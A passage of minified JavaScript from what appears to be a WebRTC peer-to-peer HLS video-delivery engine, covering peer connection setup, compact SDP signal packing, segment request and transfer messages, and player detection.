property"));this._channel=e.channel,this._channel.binaryType="arraybuffer","number"==typeof this._channel.bufferedAmountLowThreshold&&(this._channel.bufferedAmountLowThreshold=MAX_BUFFERED_AMOUNT),this.channelName=this._channel.label,this._channel.onmessage=e=>{this._onChannelMessage(e)},this._channel.onbufferedamountlow=()=>{this._onChannelBufferedAmountLow()},this._channel.onopen=()=>{this._onChannelOpen()},this._channel.onclose=()=>{this._onChannelClose()},this._channel.onerror=e=>{this.destroy(e)};let t=!1;this._closingInterval=setInterval((()=>{this._channel&&"closing"===this._channel.readyState?(t&&this._onChannelClose(),t=!0):t=!1}),CHANNEL_CLOSING_TIMEOUT)}_startIceCompleteTimeout(){this.destroyed||this._iceCompleteTimer||(this._iceCompleteTimer=setTimeout((()=>{this._iceComplete||(this._iceComplete=!0,this.emit("iceTimeout"),this.emit("_iceComplete"))}),this.iceCompleteTimeout))}_createOffer(){this.destroyed||this._pc.createOffer(this.offerOptions).then((e=>{if(this.destroyed)return;this.trickle||this.allowHalfTrickle||(e.sdp=filterTrickle(e.sdp)),e.sdp=this.sdpTransform(e.sdp);const t=()=>{if(this.destroyed)return;const t=this._pc.localDescription||e;this.emit("signal",{type:t.type,sdp:t.sdp})};this._pc.setLocalDescription(e).then((()=>{this.destroyed||(this.trickle||this._iceComplete?t():this.once("_iceComplete",t))})).catch((e=>{this.destroy(e)}))})).catch((e=>{this.destroy(e)}))}_requestMissingTransceivers(){this._pc.getTransceivers&&this._pc.getTransceivers().forEach((e=>{e.mid||!e.sender.track||e.requested||(e.requested=!0,this.addTransceiver(e.sender.track.kind))}))}_createAnswer(){this.destroyed||this._pc.createAnswer(this.answerOptions).then((e=>{if(this.destroyed)return;this.trickle||this.allowHalfTrickle||(e.sdp=filterTrickle(e.sdp)),e.sdp=this.sdpTransform(e.sdp);const t=()=>{if(this.destroyed)return;const t=this._pc.localDescription||e;this.emit("signal",{type:t.type,sdp:t.sdp}),this.initiator||this._requestMissingTransceivers()};this._pc.setLocalDescription(e).then((()=>{this.destroyed||(this.trickle||this._iceComplete?t():this.once("_iceComplete",t))})).catch((e=>{this.destroy(e)}))})).catch((e=>{this.destroy(e)}))}_onConnectionStateChange(){this.destroyed||"failed"===this._pc.connectionState&&this.destroy(new Error("Connection failed."))}_onIceStateChange(){if(this.destroyed)return;const e=this._pc.iceConnectionState,t=this._pc.iceGatheringState;this.emit("iceStateChange",e,t),"connected"!==e&&"completed"!==e||(this._pcReady=!0,this._maybeReady()),"failed"===e&&this.destroy(new Error("Ice connection failed.")),"closed"===e&&this.destroy(new Error("Ice connection closed."))}getStats(e){const t=e=>("[object Array]"===Object.prototype.toString.call(e.values)&&e.values.forEach((t=>{Object.assign(e,t)})),e);0===this._pc.getStats.length||this._isReactNativeWebrtc?this._pc.getStats().then((r=>{const i=[];r.forEach((e=>{i.push(t(e))})),e(null,i)}),(t=>e(t))):this._pc.getStats.length>0?this._pc.getStats((r=>{if(this.destroyed)return;const i=[];r.result().forEach((e=>{const r={};e.names().forEach((t=>{r[t]=e.stat(t)})),r.id=e.id,r.type=e.type,r.timestamp=e.timestamp,i.push(t(r))})),e(null,i)}),(t=>e(t))):e(null,[])}_maybeReady(){if(this._connected||this._connecting||!this._pcReady||!this._channelReady)return;this._connecting=!0;const e=()=>{this.destroyed||this.getStats(((t,r)=>{if(this.destroyed)return;t&&(r=[]);const i={},n={},s={};let a=!1;r.forEach((e=>{"remotecandidate"!==e.type&&"remote-candidate"!==e.type||(i[e.id]=e),"localcandidate"!==e.type&&"local-candidate"!==e.type||(n[e.id]=e),"candidatepair"!==e.type&&"candidate-pair"!==e.type||(s[e.id]=e)}));const o=e=>{a=!0;let t=n[e.localCandidateId];t&&(t.ip||t.address)?(this.localAddress=t.ip||t.address,this.localPort=Number(t.port)):t&&t.ipAddress?(this.localAddress=t.ipAddress,this.localPort=Number(t.portNumber)):"string"==typeof e.googLocalAddress&&(t=e.googLocalAddress.split(":"),this.localAddress=t[0],this.localPort=Number(t[1])),this.localAddress&&(this.localFamily=this.localAddress.includes(":")?"IPv6":"IPv4");let r=i[e.remoteCandidateId];r&&(r.ip||r.address)?(this.remoteAddress=r.ip||r.address,this.remotePort=Number(r.port)):r&&r.ipAddress?(this.remoteAddress=r.ipAddress,this.remotePort=Number(r.portNumber)):"string"==typeof e.googRemoteAddress&&(r=e.googRemoteAddress.split(":"),this.remoteAddress=r[0],this.remotePort=Number(r[1])),this.remoteAddress&&(this.remoteFamily=this.remoteAddress.includes(":")?"IPv6":"IPv4")};if(r.forEach((e=>{"transport"===e.type&&e.selectedCandidatePairId&&o(s[e.selectedCandidatePairId]),("googCandidatePair"===e.type&&"true"===e.googActiveConnection||("candidatepair"===e.type||"candidate-pair"===e.type)&&e.selected)&&o(e)})),a||Object.keys(s).length&&!Object.keys(n).length){if(this._connecting=!1,this._connected=!0,this._chunk){try{this.send(this._chunk)}catch(t){return this.destroy(t)}this._chunk=null;const e=this._cb;this._cb=null,e(null)}"number"!=typeof this._channel.bufferedAmountLowThreshold&&(this._interval=setInterval((()=>this._onInterval()),150),this._interval.unref&&this._interval.unref()),this.emit("connect")}else setTimeout(e,100)}))};e()}_onInterval(){!this._cb||!this._channel||this._channel.bufferedAmount>MAX_BUFFERED_AMOUNT||this._onChannelBufferedAmountLow()}_onSignalingStateChange(){this.destroyed||("stable"===this._pc.signalingState&&(this._isNegotiating=!1,this._sendersAwaitingStable.forEach((e=>{this._pc.removeTrack(e),this._queuedNegotiation=!0})),this._sendersAwaitingStable=[],this._queuedNegotiation?(this._queuedNegotiation=!1,this._needsNegotiation()):this.emit("negotiated")),this.emit("signalingStateChange",this._pc.signalingState))}_onIceCandidate(e){this.destroyed||(e.candidate&&this.trickle?this.emit("signal",{type:"candidate",candidate:{candidate:e.candidate.candidate,sdpMLineIndex:e.candidate.sdpMLineIndex,sdpMid:e.candidate.sdpMid}}):e.candidate||this._iceComplete||(this._iceComplete=!0,this.emit("_iceComplete")),e.candidate&&this._startIceCompleteTimeout())}_onChannelMessage(e){if(this.destroyed)return;let t=e.data;t instanceof ArrayBuffer&&(t=utils_buffer.l.from(t)),this.emit("data",t)}_onChannelBufferedAmountLow(){if(this.destroyed||!this._cb)return;const e=this._cb;this._cb=null,e(null)}_onChannelOpen(){this._connected||this.destroyed||(this._channelReady=!0,this._maybeReady())}_onChannelClose(){this.destroyed||this.destroy()}}Peer.config={iceServers:[{urls:["stun:stun.l.google.com:19302","stun:global.stun.twilio.com:3478"]}],sdpSemantics:"unified-plan"},Peer.channelConfig={};const peer_channel=Peer,core_segment=class{constructor(e,t,r,i,n=0){this._sn=e,this._segId=t,this._data=r,this._fromPeerId=i,this._level=n}get size(){return this._data.byteLength}get sn(){return this._sn}get segId(){return this._segId}get data(){return this._data}get fromPeerId(){return this._fromPeerId}get level(){return this._level||0}get isSequential(){return this._sn>=0}};var platform=__webpack_require__(422),platform_default=__webpack_require__.n(platform);const delimiter="|",arrayDelimiter=",",candTypeMap={h:"host",s:"srflx",p:"prflx",r:"relay"},sdpType2Char=(e,t)=>{let r;switch(e){case"candidate":r="c";break;case"offer":r=t?"q":"o";break;case"answer":r=t?"s":"a"}return r},char2SdpType=e=>{let t={};switch(e){case"o":t={type:"offer"};break;case"q":t={type:"offer",trickle:!0};break;case"a":t={type:"answer"};break;case"s":t={type:"answer",trickle:!0};break;case"c":t={type:"candidate",trickle:!0}}return t},charOffset=0,bytesToStr=e=>"number"==typeof e?bytesToStr([e]):String.fromCharCode(...e.map((e=>e+charOffset))),strToBytes=e=>e.split("").map((e=>e.charCodeAt(0)-charOffset));function parseCand(e){const[,t,r,i,n,s,a,o,l,d,h,u,c,f,g]=/(\S*) (\d*) (\S*) (\d*) (\S*) (\d*) typ (\S*)(?: raddr (\S*) rport (\d*))?(?: tcptype (\S*))?(?: generation (\d*))?(?: ufrag (\S*))?(?: network-id (\d*))?(?: network-cost (\d*))?/.exec(e);return{foundation:t,component:r,transport:i,priority:n,ip:s,port:a,type:o,raddr:l,rport:d,tcptype:h,generation:u,networkId:f,networkCost:g,ufrag:c}}function pack({type:e,sdp:t,candidate:r}){return t&&t.startsWith("v=0")?packSdp(e,t):"candidate"===e&&r?packCandidate(r.candidate):null}function packCandidate(e){const t=e.indexOf(":");if(t<=0)return null;let r=packCandItem(e.slice(t+1).trim());return r?sdpType2Char("candidate")+r.cand:null}function packSdp(e,t){let r,i,n,s=[],a=!1,o=!1;for(const e of t.split("\r\n")){const t=e.indexOf(":");if(t<=0)continue;if("a=ice-options:trickle"===e){o=!0;continue}const[l,d]=[e.slice(0,t),e.slice(t+1).trim()];switch(l){case"a=ice-ufrag":r=d;break;case"a=ice-pwd":i=d;break;case"a=fingerprint":n=bytesToStr(d.substr("sha-256".length).trim().split(":").map((e=>parseInt(e,16))));break;case"a=candidate":let e=packCandItem(d,a);if(!e)continue;if(e.local){if(a)continue;a=!0}s.push(e.cand)}}return sdpType2Char(e,o)+n+(s.length>0?s.join(arrayDelimiter):"")+(o?"":delimiter)+r+delimiter+i}function packCandItem(e){let t=!1;const r=parseCand(e);if("TCP"===r.transport)return null;r.ip.endsWith(".local")&&(t=!0);let i=r.type.charAt(0);const n=r.ip.split(".");if(4===n.length){const e=n.reduce((function(e,t){return(e<<8)+parseInt(t,10)}));i=`${i}${r.foundation} ${e}:${parseInt(r.port)}`}else i=`${i}${r.foundation} ${r.ip} ${r.port}`;return{cand:i,local:t}}function unpack(e,t){const r=char2SdpType(e.substr(0,1));return r?"candidate"===r.type?unpackCand(e):unpackSdp(r.type,t,e,r.trickle):null}function unpackCand(e){let t=unpackCandItem(e.substr(1),100);return t?{type:"candidate",candidate:{candidate:`candidate:${t}`,sdpMLineIndex:0,sdpMid:"0"}}:null}function unpackSdp(e,t,r,i){const n=strToBytes(r.slice(1,33)).map((e=>("0"+e.toString(16)).slice(-2))),s=r.substr(33);let a,o,l;i?[o,l]=s.split(delimiter):[a,o,l]=s.split(delimiter);const d=i?[]:a.split(arrayDelimiter),h=["v=0",`o=- ${t} 2 IN IP4 127.0.0.1`,"s=-","t=0 0","a=group:BUNDLE 0","a=msid-semantic: WMS","m=application 9 UDP/DTLS/SCTP webrtc-datachannel","c=IN IP4 0.0.0.0","a=mid:0","a=sctp-port:5000","a=setup:"+("answer"===e?"active":"actpass"),`a=ice-ufrag:${o}`,`a=ice-pwd:${l}`,`a=fingerprint:sha-256 ${n.join(":").toUpperCase()}`];i&&h.push("a=ice-options:trickle");let u=100;for(const e of d){let t=unpackCandItem(e,u);t&&(u--,h.push(`a=candidate:${t}`))}return{type:e,sdp:h.join("\r\n")+"\r\n"}}function unpackCandItem(e,t){let r,i,n;const s=candTypeMap[e.substr(0,1)],a=e.substr(1).split(" ");if(2===a.length){n=a[0];const e=a[1].split(":");r=[e[0]>>24&255,e[0]>>16&255,e[0]>>8&255,255&e[0]].join("."),i=e[1]}else[n,r,i]=a;return`${[n,1,"udp",t,r,i,"typ",s].join(" ")}`}const DC_TOLERANCE=2,DEFAULT_PACKET_SIZE=64e3,ALPHA=.6,SIGNAL_PACK_VER=1;class peer_Peer extends(events_default()){static get VERSION(){return"7"}constructor(e,t,r,i,n,s,a={}){super(),this.engine=e,this.channel=e.fetcher.channelId,this.logger=e.logger,this.config=n,this.isInitiator=i,this.options=a,this.typeExpected=s,this.remotePeerId=r,this.intermediator=a.intermediator||null,this.channelId=i?`${t}-${r}`:`${r}-${t}`,this.cpr=0,this.platform="unknown",this.mobile=!1,this.mobileWeb=!1,this.connected=!1,this.msgQueue=[],this.miss=0,this.notifySet=new Set,this.bufArr=[],this.packetSize=DEFAULT_PACKET_SIZE,this.connTimeout=setTimeout((()=>{this.logger.warn(`dc ${this.channelId} connection timeout`),this.emit(events.DC_ERROR,!0)}),25e3),this.sendReqQueue=[],this.downloading=!1,this.uploading=!1,this.choked=!1,this.downloadListeners=[],this.pieceMsg={},this.timeSendRequest=0,this.timeReceivePiece=0,this.timeSendPiece=0,this.weight=0,this.peersConnected=1,this.timeJoin=getCurrentTs(),this.uploadSpeed=0,this.gotPeers=!1,this.currentLevel=0;let o={};if(this.options.stuns.length>0){const e=[];this.options.stuns.forEach((t=>{this.logger.info(`use stun ${t}`),e.push({urls:t})})),o.iceServers=e}this.config.webRTCConfig&&(o={...this.config.webRTCConfig,...o}),this.playlistMap=new Map,this._datachannel=new peer_channel({initiator:i,channelName:this.channelId,trickle:a.trickle||!1,config:o}),this._init(this._datachannel),this.dataExchangeTs=this.timeJoin,this.gotStatsTs=this.timeJoin,this.startSN=Number.MAX_SAFE_INTEGER,this.endSN=-1}get isAvailable(){return this.downloadNum<2&&!this.choked}get isAvailableUrgently(){return!this.downloading&&!this.choked}addDownloadListener(e){this.downloadListeners.push({handler:e})}_init(e){e.on("error",(e=>{this.emit(events.DC_ERROR,!0)})),e.on("signal",(e=>{if(this.cpr===SIGNAL_PACK_VER){const t=pack(e);t?e=t:this.logger.error("signal pack error")}this.emit(events.DC_SIGNAL,e)}));e.once("connect",(()=>{for(this.logger.info(`datachannel CONNECTED to ${this.remotePeerId} from ${this.intermediator?"peer":"server"}`),this.connected=!0,clearTimeout(this.connTimeout),this.emit(events.DC_OPEN);this.msgQueue.length>0;){let e=this.msgQueue.shift();this.emit(e.event,e)}})),e.on("data",(e=>{const{logger:t}=this;if("string"==typeof e){let r=JSON.parse(e);if(!this.connected)return void this.msgQueue.push(r);let i,n=r.event;switch(i=n!==events.DC_PLAYLIST&&n!==events.DC_PEER_SIGNAL?`string: ${e}`:`event: ${n}`,t.debug(`datachannel receive ${i} from ${this.remotePeerId}`),n){case events.DC_HAVE:if(this.emit(r.event,r),!r.sn)return;this.config.live||(r.sn<this.startSN&&(this.startSN=r.sn),r.sn>this.endSN&&(this.endSN=r.sn));break;case events.DC_PIECE:this.downloading=!0,this.dataExchangeTs=getCurrentTs(),this.timeReceivePiece=performance.now(),this.pieceMsg=r,this._prepareForBinary(r.attachments,r.seg_id,r.sn,r.size),this.emit(r.event,r);break;case events.DC_PIECE_NOT_FOUND:this._sendNextReq()||(this.downloading=!1),this.emit(r.event,r);break;case events.DC_REQUEST:this._handleRequestMsg(r);break;case events.DC_PIECE_ACK:this.dataExchangeTs=getCurrentTs(),this._handlePieceAck(r),this.emit(r.event,r);break;case events.DC_STATS:this._handleStats(r);break;case events.DC_PLAYLIST:this.config.sharePlaylist&&this._handlePlaylist(r);break;case events.DC_METADATA:this._handleMetadata(r);break;case events.DC_PIECE_ABORT:if(this.downloading){if(this.downloadListeners.length>0){for(let e of this.downloadListeners){const{handler:t}=e;t(this.bufSN,this.segId,!0,"aborted by upstream peer")}this.downloadListeners=[]}this.emit(events.DC_PIECE_ABORT,r)}break;case events.DC_CHOKE:t.info(`choke peer ${this.remotePeerId}`),this.choked=!0;break;case events.DC_UNCHOKE:t.info(`unchoke peer ${this.remotePeerId}`),this.choked=!1;break;case events.DC_CLOSE:this.emit(r.event,r.fatal||!1);break;default:this.emit(r.event,r)}}else{if(!this.downloading)return void t.error(`peer is not downloading, data size ${e.byteLength} pieceMsg ${JSON.stringify(this.pieceMsg)}`);this._handleBinaryMsg(e)}})),e.once("close",(()=>{this.emit(events.DC_CLOSE,!1)})),e.on("iceStateChange",((e,t)=>{"disconnected"===e&&(this.logger.warn(`${this.remotePeerId} disconnected`),this.connected=!1)}))}sendJson(e){e.event!==events.DC_PLAYLIST&&e.event!==events.DC_PEER_SIGNAL?this.logger.debug(`dc bufferSize ${this._datachannel.bufferSize} send ${JSON.stringify(e)} to ${this.remotePeerId}`):this.logger.debug(`dc send event ${e.event} to ${this.remotePeerId}`);const t=JSON.stringify(e);return t.length>DEFAULT_PACKET_SIZE?(this.logger.error("string to send is too large"),!1):this.send(t)}send(e){if(this._datachannel&&this._datachannel.connected)try{return this._datachannel.send(e),!0}catch(e){this.logger.warn(`datachannel ${this.channelId} send data failed, close it`),this.emit(events.DC_ERROR,!1)}return!1}sendMsgHave(e,t,r={}){this.sendJson({event:events.DC_HAVE,sn:e,seg_id:t,...r})}sendPieceNotFound(e,t,r={}){this.uploading=!1,this.sendJson({event:events.DC_PIECE_NOT_FOUND,seg_id:t,sn:e,...r})}sendPeers(e){this.sendJson({event:events.DC_PEERS,peers:e})}sendPeersRequest(){this.sendJson({event:events.DC_GET_PEERS})}sendMsgStats(e,t,r=0){const i={event:events.DC_STATS,total_conns:e,children:t,level:r};this.sendJson(i)}sendMsgPlaylist(e,t,r){if(this.playlistMap.has(e)){if(this.playlistMap.get(e).seq>=r)return}const i={event:events.DC_PLAYLIST,url:e,data:t,seq:r};this.sendJson(i)}sendMsgSignal(e,t,r){return this.sendJson({event:events.DC_PEER_SIGNAL,action:"signal",to_peer_id:e,from_peer_id:t,data:r})}sendMsgSignalReject(e,t,r,i=!1){return this.sendJson({event:events.DC_PEER_SIGNAL,action:"reject",to_peer_id:e,from_peer_id:t,reason:r,fatal:i})}sendMetaData(e,t,r=0){this.isInitiator&&(this.timeSendRequest=performance.now()),this.sendJson({event:events.DC_METADATA,field:e,platform:events.DC_PLAT_WEB,mobile:!!platform_default().isMobile(),channel:this.channel,version:"2.1.0",sequential:t,peers:r})}sendPartialBuffer(e,t,r={}){this.sendMsgPiece(e,r);for(let e=0;e<t.length;e++)this.send(t[e])}sendMsgPiece(e,t={}){e.ext||(e.ext={}),e.ext.from&&t.from&&(t.from=`${e.ext.from}->${t.from}`),t.incompletes&&e.ext.incompletes&&(t.incompletes+=e.ext.incompletes),t=Object.assign({},e.ext,t);const r={...e,ext:t};this.sendJson(r)}sendBuffer(e,t,r,i={}){let n=r.byteLength,s=0,a=0;n%this.packetSize==0?a=n/this.packetSize:(a=Math.floor(n/this.packetSize)+1,s=n%this.packetSize);let o={event:events.DC_PIECE,attachments:a,seg_id:t,sn:e,level:i.level,size:n};delete i.level,this.sendMsgPiece(o,i);const l=dividePayload(r,this.packetSize,a,s);for(let e=0;e<l.length;e++)this.send(l[e]);this.uploading=!1,this.timeSendPiece=performance.now()}get downloadNum(){return this.downloading?this.sendReqQueue.length+1:0}requestDataById(e,t,r=!1,i={}){const n={event:events.DC_REQUEST,seg_id:e,sn:t,...i,urgent:r};this.downloading?(this.logger.info(`add req ${e} in queue`),r?this.sendReqQueue.unshift(n):this.sendReqQueue.push(n)):this._realRequestData(n)}requestDataBySN(e,t=!1,r={}){const i={event:events.DC_REQUEST,sn:e,...r,urgent:t};this.downloading?(this.logger.info(`add req ${e} in queue`),t?this.sendReqQueue.unshift(i):this.sendReqQueue.push(i)):this._realRequestData(i)}_realRequestData(e){this.sendJson(e),this.timeSendRequest=performance.now(),this.downloading=!0}shouldWaitForRemain(e){if(0===this.bufArr.length)return!1;if(0===this.timeReceivePiece)return!1;this.logger.warn(`${this.bufArr.length} of ${this.pieceMsg.attachments} packets loaded`);let t=0;for(let e=0;e<this.bufArr.length;e++)t+=this.bufArr[e].byteLength;return t/(performance.now()-this.timeReceivePiece)>=(this.expectedSize-t)/e}close(e){this.emit(events.DC_CLOSE,e)}receiveSignal(e){e.type||e.candidate||(this.cpr=SIGNAL_PACK_VER,e=unpack(e,this.cpr+"")),e&&this._datachannel.signal(e)}destroy(e=!0){if(this.logger.info(`destroy datachannel ${this.channelId}`),this.chokeTimer&&clearTimeout(this.chokeTimer),this.connTimeout&&clearTimeout(this.connTimeout),this.uploading&&this.sendMsgPieceAbort("peer is closing"),this.downloadListeners.length>0){for(let e of this.downloadListeners){const{handler:t}=e;t(this.bufSN,this.segId,!0,"upstream peer is closed")}this.downloadListeners=[]}let t={event:events.DC_CLOSE,fatal:e};this.sendJson(t),this._datachannel.removeAllListeners(),this.removeAllListeners(),this._datachannel.destroy(),this.engine=null}_handleBinaryMsg(e){if(this.bufArr.push(e),this.remainAttachments--,this.emit(events.DC_PIECE_DATA,this.bufSN,this.segId,e,this.pieceMsg.attachments-this.remainAttachments,0===this.remainAttachments,this.pieceMsg),this.downloadListeners.length>0)for(let t of this.downloadListeners){const{handler:r}=t;r(this.bufSN,this.segId,!1,e,0===this.remainAttachments)}if(0===this.remainAttachments){if(this.downloadListeners=[],this.timeSendRequest>0){const e=this.expectedSize/(performance.now()-this.timeSendRequest);this.weight=this.weight>0?ALPHA*this.weight+(1-ALPHA)*e:e}this.sendJson({event:events.DC_PIECE_ACK,sn:this.bufSN,seg_id:this.segId,size:this.expectedSize}),this.timeSendRequest=0,this.timeReceivePiece=0,this._sendNextReq()||(this.downloading=!1),this._handleBinaryData()}}_sendNextReq(){if(this.sendReqQueue.length>0){const e=this.sendReqQueue.shift();return this.logger.info(`get msg from sendReqQueue ${JSON.stringify(e)}`),this._realRequestData(e),!0}return!1}_handlePlaylist(e){const{url:t,data:r,seq:i}=e;this.playlistMap.set(t,{data:r,seq:i})}getLatestPlaylist(e,t){if(!this.playlistMap.has(e))return null;const r=this.playlistMap.get(e);return r.seq<=t?null:r}_handleMetadata(e){const{logger:t}=this;if(this.isInitiator){const e=performance.now()-this.timeSendRequest;e>0&&(this.weight=1e5/e,t.info(`handle Metadata from ${this.remotePeerId} initial weight ${this.weight}`)),this.timeSendRequest=0}const r=e.channel;if(!r)return t.error(`peer channel ${r} is null!`),void this.emit(events.DC_ERROR,!0);if(this.channel!==r)return t.error(`peer channel ${r} not matched!`),void this.emit(events.DC_ERROR,!0);switch(e.platform){case events.DC_PLAT_ANDROID:this.platform=events.DC_PLAT_ANDROID;break;case events.DC_PLAT_IOS:this.platform=events.DC_PLAT_IOS;break;case events.DC_PLAT_WEB:this.platform=events.DC_PLAT_WEB}if(this.mobile=e.mobile||!1,this.mobileWeb=this.mobile&&this.platform===events.DC_PLAT_WEB||!1,this.sequential=e.sequential,this.sequential!==this.typeExpected)return t.error(`peer sequential type ${this.sequential} not matched!`),void this.emit(events.DC_ERROR,!0);if(t.info(`${this.remotePeerId} platform ${this.platform} sequential ${this.sequential}`),e.peers&&(this.peersConnected+=e.peers,t.info(`${this.remotePeerId} now has ${this.peersConnected} peers`)),this.emit(events.DC_METADATA,e),e.field&&!this.config.live&&e.sequential){const{field:t}=e;if(Array.isArray(t))this._handleField(t);else for(let e in t)this._handleField(t[e])}}_handleField(e){e.forEach((e=>{e>=0&&(e<this.startSN&&(this.startSN=e),e>this.endSN&&(this.endSN=e))}))}_handleStats(e){this.gotStatsTs=getCurrentTs();const t=e.total_conns;t>0&&this.peersConnected!==t&&(this.peersConnected=t,this.logger.info(`${this.remotePeerId} now has ${this.peersConnected} peers`)),e.level&&(this.currentLevel=e.level)}_handleRequestMsg(e){this.uploading?this.logger.warn(`${this.remotePeerId} is uploading when receive request`):(this.uploading=!0,this.emit(events.DC_REQUEST,e))}_handlePieceAck(e){0!==this.timeSendPiece&&(this.uploadSpeed=Math.round(e.size/(performance.now()-this.timeSendPiece)*2),this.timeSendPiece=0,this.logger.info(`${this.remotePeerId} uploadSpeed is ${this.uploadSpeed}`))}_prepareForBinary(e,t,r,i){this.bufArr=[],this.remainAttachments=e,this.segId=t,this.bufSN=r,this.expectedSize=i}_handleBinaryData(){let e=utils_buffer.l.concat(this.bufArr);const t=e.byteLength;if(t===this.expectedSize){let t=new Uint8Array(e).buffer;const r=new core_segment(this.bufSN,this.segId,t,this.remotePeerId,this.pieceMsg.level);this.emit(events.DC_RESPONSE,r,this.weight)}else this.logger.error(`${this.segId} expectedSize ${this.expectedSize} not equal to byteLength ${t}`);this.segId="",this.bufArr=[],this.expectedSize=-1}checkIfNeedChoke(){const{logger:e}=this;if(this.miss++,e.info(`${this.channelId} miss ${this.miss}`),this.miss>DC_TOLERANCE&&!this.choked){this.choked=!0;const t=30*this.miss;t<=150?(e.warn(`datachannel ${this.channelId} is choked`),this.chokeTimer=setTimeout((()=>{this.choked=!1,e.warn(`datachannel ${this.channelId} is unchoked`)}),1e3*t)):e.warn(`datachannel ${this.channelId} is choked permanently`)}}loadtimeout(){const{logger:e,bufArr:t,pieceMsg:r}=this;return e.warn(`timeout while downloading from ${this.remotePeerId}, ${t.length} of ${r.attachments} packets loaded`),t.length>0&&t.length===r.attachments?(this._handleBinaryData(),!1):(this.emit(events.DC_TIMEOUT),this.checkIfNeedChoke(),!0)}sendMsgPieceAbort(e){this.uploading=!1,this.sendJson({event:events.DC_PIECE_ABORT,reason:e})}}function dividePayload(e,t,r,i){let n=[];if(i){let s;for(let i=0;i<r-1;i++)s=e.slice(i*t,(i+1)*t),n.push(s);s=e.slice(e.byteLength-i,e.byteLength),n.push(s)}else{let i;for(let s=0;s<r;s++)i=e.slice(s*t,(s+1)*t),n.push(i)}return n}const peer=peer_Peer,players={DPlayer:"dplayer",CBPlayer:"cbplayer",jwplayer:"jwplayer",videojs:"videojs",Clappr:"clappr",ckplayer:"ckplayer",MediaElementPlayer:"mediaelement",MediaElement:"mediaelement",TcPlayer:"tcplayer",flowplayer:"flowplayer",Chimee:"chimee",ChimeePlayer:"chimee",HlsJsPlayer:"xgplayer",fluidPlayer:"fluidplayer",OpenPlayer:"openplayer",Plyr:"plyr",Playerjs:"playerjs",Aliplayer:"aliplayer",shaka:"shakaplayer"};function player_detector(){let e;for(let t in players)if(window[t]){e=players[t];break}return e}const SAM={_:"nllL",f:"d3NzJ",ss:"==",3:"TNBLy9z",8:"aWduY",u:"mNvbQ",qa:"WwuY2RuY"};class EngineBase extends(events_default()){constructor(e={}){if(super(),this.p2pEnabled=!(!1===e.p2pEnabled||"0"===getQueryParam("_p2p")),e.tag&&e.tag.length>20)throw new Error("Tag is too long");if(e.appName&&e.appName.length>30)throw new Error("appName is too long");if(e.appId&&e.appId.length>30)throw new Error("appId is too long");if(e.token&&e.token.length>20)throw new Error("Token is too long")}initLogger(){const{config:e}=this;e.showSlogan&&"en"===navLang()&&console.log(`%cEmpower your users to become the unlimitedly scalable CDN!\n%c${getHomeUrl()}`,"color: dodgerblue; padding:20px 0; font-size: x-large","font-size: medium; padding-bottom:15px");const t=new utils_logger(e.logLevel);return e.logger=this.logger=t,t}makeChannelId(e,t){if(!e||"string"!=typeof e){const e="token is required while using customized channelId!";throw console.error(e),new Error(e)}return(r,i)=>`${e}-${t(r,i)}`}makeSignalId(){let e="";const{config:t}=this,r=decodeURIComponent(window.atob(SAM.f+SAM[3]+SAM[8]+SAM.qa+SAM._+SAM.u+SAM.ss));if(t.wsSignalerAddr){let i;"object"!=typeof t.wsSignalerAddr||t.wsSignalerAddr.backup?"string"==typeof t.wsSignalerAddr&&(i=t.wsSignalerAddr):i=t.wsSignalerAddr.main,i===r&&(i=void 0),i&&(e=url_toolkit_default().parseURL(i).netLoc.substr(2))}else t.wsSignalerAddr=r;return e}get commonBrowserInfo(){const e=platform_default().getPlatform(),t=platform_default().getNetType()||"wifi";return this.netType=t,{device:e,netType:t,player:player_detector()||void 0}}setupWindowListeners(e){const t=["iPad","iPhone"].indexOf(navigator.platform)>=0?"pagehide":"beforeunload",r=()=>{this.p2pEnabled&&this.disableP2P(),window.removeEventListener(t,r)};e?window.removeEventListener(t,r):window.addEventListener(t,r)}destroy(){this.disableP2P(),this.removeAllListeners(),this.setupWindowListeners(!0)}enableP2P(){return this.p2pEnabled?null:(this.logger&&this.logger.info("enable P2P"),this.config.p2pEnabled=this.p2pEnabled=!0,this.browserInfo?(this._init(this.channel,this.browserInfo),this):null)}get version(){return EngineBase.version}static isSupported(){const e=getBrowserRTC();return!(!e||void 0===e.RTCPeerConnection.prototype.createDataChannel)}}EngineBase.version="2.1.0",EngineBase.protocolVersion=peer.VERSION;const engine_base=EngineBase;function tryGetVideoElement(e){if(e){if("string"==typeof e)return document.querySelector(e);if("[object HTMLVideoElement]"===Object.prototype.toString.call(e))return e}return document.getElementsByTagName("video")[0]}class Engine extends engine_base{constructor(e={}){super(e),window.__swP2pEngineHlsActive=!0,this.config=e,this.rangeTested=!1,this.lastLevel=0,this.multiBitrate=!1}setup(){let{token:e,channelId:t,segmentId:r}=this.config,i=e=>{const t=url_toolkit_default().parseURL(e);return`${t.netLoc.substr(2)+t.path.substring(0,t.path.lastIndexOf("."))}`},n=(e,t,r,i)=>`${e}-${t}`;t&&"function"==typeof t&&(i=this.makeChannelId(e,t)),r||(this.config.segmentId=n);return{channelIdMaker:i,signalId:this.makeSignalId(),browserInfo:{...this.commonBrowserInfo,tag:this.config.tag||void 0}}}setupElectron(){this.browserInfo.device===platform.device.PC_NATIVE&&(this.browserInfo={...this.browserInfo,app:this.config.appName,bundle:this.config.appId})}getExtraForStats(){const e={};return!this.config.live&&this.media&&(e.pos=Math.round(this.media.currentTime)),this.multiBitrate&&this.currentLevel!==this.lastLevel&&(e.level=this.currentLevel+"",this.lastLevel=this.currentLevel),e}getExtraForPeersRequest(){const e={};return this.multiBitrate&&(e.level=this.currentLevel+""),e}destroy(){window.__swP2pEngineHlsActive=!1,super.destroy()}}class LevelKey{constructor(){this.method=null,this.key=null,this.iv=null,this._uri=null}get uri(){return!this._uri&&this.reluri&&(this._uri=url_toolkit.buildAbsoluteURL(this.baseuri,this.reluri,{alwaysNormalize:!0})),this._uri}}class Fragment{constructor(){this._url=null,this._byteRange=null,this._decryptdata=null,this.tagList=[],this.programDateTime=null,this.rawProgramDateTime=null,this._elementaryStreams={[Fragment.ElementaryStreamTypes.AUDIO]:!1,[Fragment.ElementaryStreamTypes.VIDEO]:!1}}static get ElementaryStreamTypes(){return{AUDIO:"audio",VIDEO:"video"}}get url(){return!this._url&&this.relurl&&(this._url=url_toolkit.buildAbsoluteURL(this.baseurl,this.relurl,{alwaysNormalize:!0})),this._url}set url(e){this._url=e}get byteRange(){if(!this._byteRange&&!this.rawByteRange)return[];if(this._byteRange)return this._byteRange;let e=[];if(this.rawByteRange){const t=this.rawByteRange.split("@",2);if(1===t.length){const t=this.lastByteRangeEndOffset;e[0]=t||0}else 